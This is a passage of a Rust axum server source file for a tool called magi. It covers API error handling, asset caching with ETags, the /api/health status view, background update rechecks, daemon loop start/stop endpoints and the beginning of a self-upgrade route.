1753    /// Re-badge an error whose default mapping is wrong for this route.
1754    fn with_status(mut self, status: StatusCode) -> Self {
1755        self.status = status;
1756        self
1757    }
1758
1759    /// A rules violation from a domain type, reported as the caller's fault.
1760    /// `Question::answer` rejects an unoffered choice, and that is a bad
1761    /// request, not a server error.
1762    fn bad_request_from(e: anyhow::Error) -> Self {
1763        Self::bad_request(format!("{e:#}"))
1764    }
1765
1766    fn conflict(message: impl Into<String>) -> Self {
1767        Self {
1768            status: StatusCode::CONFLICT,
1769            message: message.into(),
1770        }
1771    }
1772
1773    /// Our fault, or the disk's.
1774    fn internal(message: impl Into<String>) -> Self {
1775        Self {
1776            status: StatusCode::INTERNAL_SERVER_ERROR,
1777            message: message.into(),
1778        }
1779    }
1780}
1781
1782impl From<anyhow::Error> for ApiError {
1783    /// Errors from `queue` and `run` carry their context chain, and the whole
1784    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1785    /// value at line 3" is a message an operator can act on, and there is no
1786    /// secret in a path on a single-user tailnet.
1787    fn from(e: anyhow::Error) -> Self {
1788        Self::internal(format!("{e:#}"))
1789    }
1790}
1791
1792impl IntoResponse for ApiError {
1793    fn into_response(self) -> Response {
1794        let body = serde_json::json!({ "error": self.message });
1795        (self.status, Json(body)).into_response()
1796    }
1797}
1798
1799/// Run a handler's filesystem work off the executor.
1800///
1801/// Every route that touches the disk goes through here rather than each one
1802/// arguing about whether its own read is small enough. Uniform because the
1803/// expensive case is not rare: `run.json` for a finished competition holds
1804/// every judgement, deliberation turn and review round, so listing a few
1805/// hundred runs is megabytes of parsing, and the executor threads doing it are
1806/// the same ones serving the change stream of every other connected phone.
1807async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1808where
1809    T: Send + 'static,
1810{
1811    match tokio::task::spawn_blocking(job).await {
1812        Ok(result) => result,
1813        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1814    }
1815}
1816
1817/// Cache policy for the three compiled-in front-end files.
1818///
1819/// The whole interface is `include_str!`ed into the binary, so its content
1820/// changes only when the binary does - and a phone that keeps a copy is
1821/// welcome to, right up until the deck is replaced. Without a single cache
1822/// header, browsers were free to invent their own policy, and one did:
1823/// yukimemi's phone went on showing "Candidates must be folded before
1824/// deleting. Run `magi fold` first." - a sentence deleted two releases
1825/// earlier - from a run detail served by a deck that no longer contained it.
1826/// The delete button he was told about was right there, and unreachable.
1827///
1828/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1829/// every time, the answer is a 304 costing one small round trip while the
1830/// deck is unchanged, and the moment it is replaced the tag differs and the
1831/// new interface arrives. Correctness over bytes - this is one file of a few
1832/// tens of kilobytes on a tailnet, and being a version behind is not a
1833/// cosmetic problem when the difference is whether a button exists.
1834const ASSET_CACHE: &str = "no-cache, must-revalidate";
1835
1836/// `ETag` for the compiled-in assets, distinct per build.
1837///
1838/// The version alone would leave a locally built deck - `cargo install
1839/// --path .` twice at the same version, which is the normal way to iterate -
1840/// serving a stale tag for changed bytes. The build timestamp is what makes
1841/// two builds of `0.3.0` differ.
1842fn asset_etag() -> &'static str {
1843    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1844        format!(
1845            "\"{}-{}\"",
1846            env!("CARGO_PKG_VERSION"),
1847            // Length is a cheap, deterministic stand-in for a hash: the
1848            // three files are compiled in together, so any edit to any of
1849            // them almost certainly changes the total, and a rebuild is what
1850            // this needs to track rather than every possible byte pattern.
1851            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1852        )
1853    });
1854    &TAG
1855}
1856
1857/// Headers for a compiled-in asset of `mime`.
1858fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1859    [
1860        (header::CONTENT_TYPE, mime),
1861        (header::CACHE_CONTROL, ASSET_CACHE),
1862        (header::ETAG, asset_etag()),
1863    ]
1864}
1865
1866/// Serve a compiled-in asset, answering `304` when the client already has it.
1867///
1868/// axum does not compare `If-None-Match` for us, and a header the server sets
1869/// but never honours is worse than none: the phone revalidates on every load
1870/// and is handed the whole file back each time. Doing the comparison is what
1871/// makes `must-revalidate` cost one small round trip rather than the
1872/// interface.
1873fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1874    let tag = asset_etag();
1875    let known = headers
1876        .get(header::IF_NONE_MATCH)
1877        .and_then(|v| v.to_str().ok())
1878        // A revalidating client may send several, and a proxy may weaken the
1879        // tag to `W/"..."`; matching on containment covers both without
1880        // parsing the grammar.
1881        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1882    if known {
1883        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1884    }
1885    (asset_headers(mime), body).into_response()
1886}
1887
1888async fn index(headers: header::HeaderMap) -> Response {
1889    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1890}
1891
1892async fn app_css(headers: header::HeaderMap) -> Response {
1893    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1894}
1895
1896async fn app_js(headers: header::HeaderMap) -> Response {
1897    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1898}
1899
1900/// What `/api/health` answers.
1901#[derive(Debug, Serialize)]
1902struct HealthView {
1903    version: &'static str,
1904    home: String,
1905    queue_rev: u64,
1906    runs_rev: u64,
1907    /// The same revisions [`events`] streams for the question and talk
1908    /// stores.
1909    ///
1910    /// Here because this route is what the front end falls back to when the
1911    /// change stream is not up - it re-polls health on a timer and on wake, and
1912    /// takes the revisions from the answer. Without these the fallback
1913    /// compares `undefined` against `undefined` for both stores, decides
1914    /// nothing moved, and a phone with a dead stream never learns that a
1915    /// question was asked or that a talk took a turn. `queue_rev` and
1916    /// `runs_rev` above have always been here for exactly this reason; the rule
1917    /// is that every revision the stream carries, this route carries too.
1918    questions_rev: u64,
1919    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1920    talks_rev: u64,
1921    /// See [`HealthView::questions_rev`]. The notification centre's store.
1922    notifications_rev: u64,
1923    /// Notifications nobody has read yet: the bell's badge before
1924    /// `/api/notifications` has answered.
1925    notifications_unread: usize,
1926    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1927    /// is not on disk anywhere, so a phone with no change stream has no other
1928    /// way to notice that the loop it is waiting on was started from another
1929    /// device.
1930    loop_rev: u64,
1931    /// Runs on disk whose state this build cannot parse - almost always a
1932    /// schema bump, occasionally a run killed mid-write.
1933    ///
1934    /// Reported because the list silently skips them, and "no competitions
1935    /// yet" is a lie when six of them are sitting in the runs directory. The
1936    /// terminal deck learned the same lesson: a run that fails to parse must
1937    /// not disappear from the count.
1938    runs_unreadable: usize,
1939    /// The disk, and what the runs and their worktrees occupy on it.
1940    ///
1941    /// This is the incident the janitor exists for: magi alone put 30 GB into
1942    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1943    /// is exactly where the operator learns "the disk is the constraint" -
1944    /// the diagnosis that a run is being held for want of space has to be
1945    /// checkable on the same screen.
1946    disk: DiskView,
1947    /// Questions nobody has answered yet, including ones an owner talked
1948    /// back on and is now waiting for the agent's reply to. A round trip
1949    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1950    /// while the ball is in the agent's court - see
1951    /// [`crate::ask::Questions::count_open`].
1952    questions_open: usize,
1953    /// Of those, how many actually need the owner right now: open, and not
1954    /// [`crate::ask::Question::waiting_on_agent`].
1955    ///
1956    /// The one number that means "nothing will happen until a human acts" -
1957    /// a parked run consumes nothing and progresses never - and the count the
1958    /// ask bar, the nav badge and the document title fall back to before
1959    /// `/api/questions` has answered, so those notification channels clear
1960    /// the instant the owner asks back and reappear the instant the agent
1961    /// replies, instead of sitting lit for however long the agent thinks.
1962    questions_needs_owner: usize,
1963    daemon: DaemonView,
1964    /// The loop in this process, exactly what `/api/loop` answers with.
1965    ///
1966    /// Here so a phone that has just woken needs one request to know whether
1967    /// anything is going to happen at all: `daemon` says a loop is alive
1968    /// somewhere, and this says whether it is one this UI can stop.
1969    #[serde(rename = "loop")]
1970    looping: LoopView,
1971    /// Whether a release newer than this build is known, and which.
1972    ///
1973    /// From [`updater::Checker::cached_update`] - the same throttled state the
1974    /// CLI's `notify` mode banners from - never a live check: this route is
1975    /// polled every few seconds, and a live check on each poll would spend
1976    /// GitHub's rate limit before the operator finished reading the strip.
1977    update: UpdateView,
1978    /// The self-upgrade this deck last set in motion, or `null` before the
1979    /// first one. Read off disk, so the successor can report what its
1980    /// predecessor started.
1981    upgrade: Option<UpgradeProgressView>,
1982}
1983
1984/// What `/api/health` knows about a release newer than this build.
1985///
1986/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1987/// is already the newest" from "never checked" - both are `None` - and the
1988/// phone needs to tell those apart to decide whether the deck can be trusted
1989/// to have an opinion at all.
1990#[derive(Debug, Serialize)]
1991struct UpdateView {
1992    /// A newer release is known to exist.
1993    available: bool,
1994    /// Its tag, when `available`.
1995    to: Option<String>,
1996}
1997
1998/// [`updater::Progress`] as `/api/health` reports it.
1999#[derive(Debug, Serialize)]
2000struct UpgradeProgressView {
2001    stage: updater::Stage,
2002    from: String,
2003    to: Option<String>,
2004    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2005    /// the step it is finishing before the address is handed over.
2006    waiting_on: Option<String>,
2007    started_at: Timestamp,
2008    updated_at: Timestamp,
2009    detail: Option<String>,
2010    /// Seconds the stage has outlived its allowance, when it has - see
2011    /// [`updater::stall`]. `null` while the stage is moving normally.
2012    stuck_for_secs: Option<i64>,
2013    /// Which kind of stuck: `never_entered` (hand_over left no record of
2014    /// starting) or `stopped_beating`. `null` when not stuck.
2015    stuck_kind: Option<updater::StallKind>,
2016    /// `hand_over` is alive and waiting on the loop: however long that takes,
2017    /// it is not an overdue upgrade.
2018    handover_alive: bool,
2019}
2020
2021/// Whether [`run_update_recheck`] may act at all this tick.
2022///
2023/// The same two conditions [`updater::Checker::new`] and
2024/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2025/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2026/// GitHub from this process" - on a button press or on a timer alike.
2027fn should_spawn_recheck(cfg: &Update) -> bool {
2028    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2029}
2030
2031/// Whether this tick should actually reach the network, once checking itself
2032/// is allowed.
2033///
2034/// An upgrade already in flight must not be raced by a check that discovers
2035/// a *newer* release while one is still installing - a phone watching
2036/// `/api/health` would see the answer change out from under the upgrade it
2037/// already asked for. Past that, [`updater::Checker::should_check`] is the
2038/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2039/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2040/// polling period, is what keeps this task's network use to at most once per
2041/// `[update] interval` regardless of how often it wakes up.
2042fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2043    if progress.is_some_and(|p| !p.stage.terminal()) {
2044        return false;
2045    }
2046    checker.should_check()
2047}
2048
2049/// How long [`run_update_recheck`] sleeps before its next wake-up.
2050///
2051/// A fraction of the configured `[update] interval` rather than a fixed
2052/// number: a fixed sleep longer than a short custom interval would leave the
2053/// deck waiting on its own wake-up rather than on `should_check`, so an
2054/// operator who set `interval = "1m"` to make the UI catch up quickly would
2055/// not see that take effect until the next restart - exactly the bug this
2056/// task exists to fix, just moved one level down. Scaling with the interval
2057/// keeps the wake-up prompt relative to what was actually configured, while
2058/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2059/// still what caps the network calls themselves at one per interval,
2060/// regardless of how often this fires.
2061fn recheck_poll_period(cfg: &Update) -> Duration {
2062    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2063}
2064
2065/// Keep `/api/health`'s `update` field current for as long as `magi web`
2066/// stays up.
2067///
2068/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2069/// which is enough for every other command: they exit in seconds. `magi web`
2070/// can run for days, so a single startup check leaves the cache - and the
2071/// phone's "Update & restart" button, which reads it via
2072/// [`cached_update_view`] - frozen on whatever that one look found, however
2073/// many releases ship afterwards. This is what notices the rest of them,
2074/// re-reading the config each tick so a `magi.toml` edit while the server is
2075/// up takes effect without a restart, the same way every other route here
2076/// already does - both for whether checking is on at all and for how long
2077/// the next sleep should be.
2078///
2079/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2080/// "install"`: swapping the running binary out from under a task or a run
2081/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2082/// not as a side effect of a timer nobody asked to fire. This only ever
2083/// calls [`updater::Checker::newer_release`], which refreshes
2084/// `last_update_check.json` and nothing else - so under `mode = "install"`
2085/// this behaves like `notify` for as long as the deck stays up, and an
2086/// actual self-install still happens exactly where it always has: once, at
2087/// the next process start.
2088async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2089    loop {
2090        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2091        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2092        if !should_spawn_recheck(&cfg.update) {
2093            continue;
2094        }
2095        let Some(checker) = updater::Checker::new(&cfg.update) else {
2096            continue;
2097        };
2098        let progress = updater::read_progress(&home);
2099        if !update_recheck_due(&checker, progress.as_ref()) {
2100            continue;
2101        }
2102        if let Err(e) = checker.newer_release().await {
2103            tracing::warn!("background update recheck failed: {e:#}");
2104        }
2105    }
2106}
2107
2108/// [`UpdateView`] from the same throttled, disk-only state
2109/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2110/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2111/// no cached state at all, which is correct: an operator who turned checking
2112/// off gets no opinion, not a stale one.
2113fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2114    let default;
2115    let cfg = match cfg {
2116        Some(cfg) => cfg,
2117        None => {
2118            default = Config::default();
2119            &default
2120        }
2121    };
2122    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2123    match latest {
2124        Some(latest) => UpdateView {
2125            available: true,
2126            to: Some(latest.tag_name),
2127        },
2128        None => UpdateView {
2129            available: false,
2130            to: None,
2131        },
2132    }
2133}
2134
2135/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2136/// from the parked run's own state when the stage is
2137/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2138/// already on disk in `run.json`, so this reads them fresh rather than
2139/// trusting whatever was true the moment the park was requested.
2140fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2141    let now = Timestamp::now();
2142    let lease = updater::read_lease(&ui.home);
2143    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2144    let run_id = alive
2145        .and_then(|l| l.parked_run.as_deref())
2146        .or(progress.parked_run.as_deref());
2147    let parking = progress.stage == updater::Stage::Parking;
2148    let waited = alive.map_or_else(String::new, |l| {
2149        let secs = updater::waited_secs(l, now);
2150        format!(" (waited {} min so far)", secs / 60)
2151    });
2152    let run_text = run_id
2153        .filter(|_| parking)
2154        .map(|id| match read_run(&ui.runs, id).ok() {
2155            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2156            None => format!("run {id} is finishing"),
2157        });
2158    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2159        .filter(|t| parking && !t.is_empty())
2160        .map(|t| format!("{t} finishing"));
2161    let waiting_on = match (run_text, talks_text) {
2162        (None, None) => None,
2163        (run, talks) => {
2164            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2165            Some(format!(
2166                "{} before the address is handed over{waited}",
2167                parts.join(" and ")
2168            ))
2169        }
2170    };
2171    let detail = progress
2172        .detail
2173        .clone()
2174        .or_else(|| updater::read_note(&ui.home, &progress));
2175    let stalled = updater::stall(&progress, lease.as_ref(), now);
2176    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2177    UpgradeProgressView {
2178        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2179        stuck_kind: stalled.map(|s| s.kind),
2180        handover_alive: alive.is_some(),
2181        stage: progress.stage,
2182        from: progress.from,
2183        to: progress.to,
2184        waiting_on,
2185        started_at: progress.started_at,
2186        updated_at: progress.updated_at,
2187        detail,
2188    }
2189}
2190
2191/// The disk figures `/api/health` carries. Every number is produced by
2192/// [`crate::disk`], the same code that decides a run may not start, so the
2193/// health screen and the gate cannot disagree about what the machine looks
2194/// like.
2195#[derive(Debug, Serialize)]
2196struct DiskView {
2197    /// Free bytes on the volume holding the runs, when measurable.
2198    #[serde(skip_serializing_if = "Option::is_none")]
2199    free_bytes: Option<u64>,
2200    /// Everything the runs directory occupies, unreadable runs included.
2201    runs_bytes: u64,
2202    /// Everything the runs' worktrees occupy.
2203    worktrees_bytes: u64,
2204    /// The shared build cache's size, when the config names one.
2205    #[serde(skip_serializing_if = "Option::is_none")]
2206    cache_bytes: Option<u64>,
2207}
2208
2209impl DiskView {
2210    /// Measure the three directories and re-read the config's cache.
2211    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2212        let cache_bytes = cfg
2213            .and_then(|cfg| cfg.cache_dir())
2214            .map(|dir| crate::disk::dir_size(&dir));
2215        Self {
2216            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2217            runs_bytes: crate::disk::dir_size(&ui.runs),
2218            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2219            cache_bytes,
2220        }
2221    }
2222}
2223
2224/// The daemon's state as the UI presents it.
2225#[derive(Debug, Serialize)]
2226struct DaemonView {
2227    running: bool,
2228    idle: Option<bool>,
2229    pid: Option<u32>,
2230    /// Every task and run currently in flight. Empty when idle; more than
2231    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2232    /// run going at once.
2233    current: Vec<daemon::Current>,
2234    completed: Option<u64>,
2235    stale_for_secs: Option<i64>,
2236}
2237
2238impl DaemonView {
2239    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2240    /// not this UI's — a crashed daemon must not look alive here while
2241    /// `doctor` calls it dead.
2242    fn of(status: Option<daemon::Reading>) -> Self {
2243        let Some(status) = status else {
2244            return Self {
2245                running: false,
2246                idle: None,
2247                pid: None,
2248                current: Vec::new(),
2249                completed: None,
2250                stale_for_secs: None,
2251            };
2252        };
2253        let now = Timestamp::now();
2254        let age = status.age_secs(now);
2255        Self {
2256            running: status.running(now),
2257            idle: Some(status.idle),
2258            pid: status.pid,
2259            current: status.current,
2260            completed: Some(status.completed),
2261            stale_for_secs: age,
2262        }
2263    }
2264}
2265
2266async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2267    blocking(move || {
2268        // One read of the status file for the two fields that describe it, so
2269        // `daemon` and `loop` in the same answer cannot disagree about who is
2270        // running the loop.
2271        let reading = daemon::read_status(&ui.home);
2272        // Read on its own line, not inside the literal below: the loop's lock
2273        // is not reentrant, and a guard taken as a temporary there would still
2274        // be held when `loop_view` took it again.
2275        let loop_rev = ui.lock_loop().rev;
2276        // One discover for both views: each is a few git processes plus a
2277        // config render, and neither depends on anything the other reads.
2278        let cfg = deputy_config(&ui.repo);
2279        let update = cached_update_view(cfg.as_ref());
2280        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2281        Ok(Json(HealthView {
2282            version: env!("CARGO_PKG_VERSION"),
2283            home: ui.home.display().to_string(),
2284            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2285            runs_rev: runs_revision(&ui.runs),
2286            questions_rev: ui.questions.revision(),
2287            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2288            notifications_rev: ui.notices.revision(),
2289            notifications_unread: ui.notices.count_unread(),
2290            loop_rev,
2291            runs_unreadable: runs_unreadable(&ui.runs),
2292            questions_open: ui.questions.count_open(),
2293            questions_needs_owner: ui.questions.count_needs_owner(),
2294            daemon: DaemonView::of(reading.clone()),
2295            looping: ui.loop_view(reading),
2296            disk: DiskView::of(&ui, cfg.as_ref()),
2297            update,
2298            upgrade,
2299        }))
2300    })
2301    .await
2302}
2303
2304/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2305#[derive(Debug, Serialize)]
2306struct LoopView {
2307    /// A loop is running in *this* process.
2308    running: bool,
2309    /// It has been asked to stop and is still finishing a run.
2310    ///
2311    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2312    /// because the two differ exactly where it matters: a loop asked to stop
2313    /// while idle is gone within one poll interval, and one asked to stop
2314    /// mid-run keeps going for as long as the graph takes. The operator needs
2315    /// to be told which of those they are waiting for.
2316    stopping: bool,
2317    /// A park was asked for: the run in flight stops at its next node
2318    /// boundary rather than finishing.
2319    ///
2320    /// Separate from `stopping` because the two promise different waits. A
2321    /// stop is "when this competition ends", which can be an hour; a park is
2322    /// "after the step it is on", which is minutes and is what an operator
2323    /// waiting to replace the binary needs to see.
2324    parking: bool,
2325    /// The loop is this process's own.
2326    ///
2327    /// Spelled separately from `running` for the front end's sake, even
2328    /// though inside this process the two move together: `running: false`
2329    /// with `daemon.running: true` is the case where the operator's own `magi
2330    /// serve` owns the loop, and `owned` is the field that tells the UI its
2331    /// buttons have to explain that rather than pretend.
2332    owned: bool,
2333    /// Repository the loop uses for tasks that name none - what it was
2334    /// started with while it runs, and what a start would use before that.
2335    repo: String,
2336    /// Merge mode override in force, or `null` when each repository's own
2337    /// config decides.
2338    merge: Option<String>,
2339    /// Why the last loop in this process ended, when it ended badly.
2340    ///
2341    /// The only place a crashed loop is visible to someone holding a phone.
2342    /// It is logged at error level as well, but a terminal nobody kept open
2343    /// is not a report, and a loop that died at 3am must not read as merely
2344    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2345    /// answers the same question about the same kind of failure.
2346    last_error: Option<String>,
2347    /// The status file, judged the same way `/api/health` judges it: this is
2348    /// what says whether a loop is alive in some *other* process.
2349    daemon: DaemonView,
2350}
2351
2352/// A loop another process already owns.
2353///
2354/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2355/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2356/// published by a pid that is not ours. Excluding our own pid is what makes
2357/// stopping work at all - the loop this process runs writes that file too, so
2358/// a check that ignored the pid would decide the operator's own UI was a
2359/// stranger and refuse to stop the loop it had just started.
2360#[derive(Debug, Clone, Copy)]
2361struct Foreign {
2362    /// The pid the other process published, when it published one.
2363    pid: Option<u32>,
2364}
2365
2366impl Foreign {
2367    /// Another process's live loop, or `None` when this process is free to
2368    /// run one.
2369    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2370        // A fresh heartbeat with no pid in it is still evidence of a live
2371        // daemon. "Some other process" is the honest answer, and refusing
2372        // to start beside it is the safe one.
2373        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2374    }
2375
2376    /// How a conflict names it. The pid is the whole point of the message: it
2377    /// is what the operator needs to find the terminal that owns the loop.
2378    fn who(&self) -> String {
2379        match self.pid {
2380            Some(pid) => format!("another magi process (pid {pid})"),
2381            None => "another magi process".to_owned(),
2382        }
2383    }
2384}
2385
2386/// How a loop is started, as a future this module can hold onto.
2387///
2388/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2389/// trait object or a hand-written `Debug` impl for the sake of one seam.
2390type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2391
2392/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2393fn launch_daemon(
2394    opts: daemon::Opts,
2395    stop: daemon::Stop,
2396) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2397    Box::pin(daemon::serve_until(opts, stop))
2398}
2399
2400/// The loop this process runs, behind one lock.
2401#[derive(Debug, Default)]
2402struct LoopState {
2403    /// The loop, while there is one.
2404    live: Option<Live>,
2405    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2406    ///
2407    /// The loop is in-process state rather than a file, so nothing on disk
2408    /// would tell a second phone that the first one started it. Without this
2409    /// counter the only way to learn about a start, a stop request or a crash
2410    /// would be to poll `/api/loop`, which is the thing the change stream
2411    /// exists to avoid on a mobile link.
2412    rev: u64,
2413    /// Why the last loop ended, when it ended badly. See
2414    /// [`LoopView::last_error`].
2415    last_error: Option<String>,
2416    /// The loop was running (and not already stopping) when the last upgrade
2417    /// parked it, so the successor should start one. Set afresh by every
2418    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2419    /// update.
2420    resume_after_handover: bool,
2421}
2422
2423/// A loop in flight.
2424#[derive(Debug)]
2425struct Live {
2426    /// The cooperative stop, shared with the loop task.
2427    stop: daemon::Stop,
2428    /// The task itself, kept only to answer whether it is still there: a loop
2429    /// that panicked never records its own end, and without this the view
2430    /// would go on reporting a loop that no longer exists - the one lie that
2431    /// would leave the operator with no button to press.
2432    handle: tokio::task::JoinHandle<()>,
2433    /// What the loop was started with, so the view reports the repository and
2434    /// merge mode its runs will actually use rather than what an edit to the
2435    /// config since would give.
2436    opts: daemon::Opts,
2437}
2438
2439impl Live {
2440    /// Is the task still there? See [`Live::handle`].
2441    fn alive(&self) -> bool {
2442        !self.handle.is_finished()
2443    }
2444}
2445
2446/// Take the loop lock, recovering from a poisoned one.
2447///
2448/// What this mutex holds is a stop flag, a task handle and two counters, none
2449/// of which a panic elsewhere can leave in a state worth refusing to read.
2450/// Propagating the poison instead would mean an operator who can see the loop
2451/// running and can no longer stop it from the only surface they have.
2452fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2453    state.lock().unwrap_or_else(PoisonError::into_inner)
2454}
2455
2456/// `GET /api/loop`.
2457async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2458    blocking(move || {
2459        let reading = daemon::read_status(&ui.home);
2460        Ok(Json(ui.loop_view(reading)))
2461    })
2462    .await
2463}
2464
2465/// The body of `POST /api/loop`.
2466///
2467/// One required field and nothing else: no `default` and no unknown fields,
2468/// so a body that fails to say which way the switch was flipped is a 400
2469/// rather than a tap that quietly does the opposite of what was pressed.
2470#[derive(Debug, Deserialize)]
2471#[serde(deny_unknown_fields)]
2472struct LoopCommand {
2473    running: bool,
2474    /// Stop the run in flight at its next node boundary rather than letting it
2475    /// finish.
2476    ///
2477    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2478    /// competition is tens of minutes of paid work and finishing it is
2479    /// normally the cheapest thing to do. A park is for the operator who
2480    /// wants the process gone now - to replace the binary, most of all - and
2481    /// it costs at most the node in progress because every node writes its
2482    /// state before the next one starts.
2483    #[serde(default)]
2484    park: bool,
2485}
2486
2487/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2488///
2489/// Answers with the view rather than waiting for the loop to reach the state
2490/// that was asked for. Starting is immediate anyway; stopping is not, and the
2491/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2492/// request open for. `stopping` in the answer is what the operator watches
2493/// instead.
2494async fn loop_post(
2495    State(ui): State<Arc<Ui>>,
2496    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2497) -> ApiResult<Json<LoopView>> {
2498    // Taken as a `Result` so a malformed body is a 400 like every other route
2499    // here, rather than axum's default 422 that the UI has no branch for.
2500    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2501    blocking(move || {
2502        let reading = daemon::read_status(&ui.home);
2503        let foreign = Foreign::of(reading.as_ref());
2504        if body.running {
2505            ui.start_loop(foreign)?;
2506        } else {
2507            ui.stop_loop(foreign, body.park)?;
2508        }
2509        Ok(Json(ui.loop_view(reading)))
2510    })
2511    .await
2512}
2513
2514/// What `POST /api/upgrade` set in motion.
2515#[derive(Debug, Serialize)]
2516struct UpgradeView {
2517    /// The version this process is running.
2518    from: String,
2519    /// The release it is replacing itself with, when there is one.
2520    to: Option<String>,
2521    /// A run was parked first, and this is its id.
2522    parked: Option<String>,
2523    /// What the operator should expect to happen next.
2524    detail: String,
2525}
2526
2527/// The stage of an upgrade that is still moving, if the record says so.
2528/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2529fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2530    progress.filter(|p| !p.stage.terminal())
2531}
2532
2533/// `POST /api/upgrade` - replace this binary with the newest release and come
2534/// back on it.
2535///
2536/// The one thing the deck could not do for itself. Every fix landed today
2537/// either waited for a competition to end or went in with the deck stopped,
2538/// because `cargo install` cannot overwrite a running executable on Windows.
2539/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2540/// the new one in its place, so the swap itself needs no downtime. Only the
2541/// restart does, and the order is the whole design:
2542///
2543/// 1. **Park.** A run in flight stops at its next node boundary and stays
2544///    resumable, so this costs at most the node in progress rather than the
2545///    competition. Without it the honest choices were waiting an hour or
2546///    discarding paid agent work.
2547/// 2. **Replace.** The new binary goes into place while this one still runs.
2548/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2549///    successor - see [`spawn_successor`] for what happens in the other
2550///    order.
2551/// 4. **Resume.** The next loop carries the parked run on rather than
2552///    competing again; see `daemon::attempt`.
2553///
2554/// Answers **202**: the reply has to reach the phone while this process can
2555/// still send one, and the phone learns the deck is back by reconnecting.
2556async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2557    let reading = daemon::read_status(&ui.home);
2558    if let Some(other) = Foreign::of(reading.as_ref()) {
2559        return Err(ApiError::conflict(format!(
2560            "the loop belongs to {}, so replacing this binary would leave \
2561             that process running an old one against the same queue. Upgrade \
2562             where it was started.",
2563            other.who()
2564        )));
2565    }
2566
2567    // A second upgrade while one is moving would replace the binary and
2568    // signal the handover again after `serve` already consumed the first
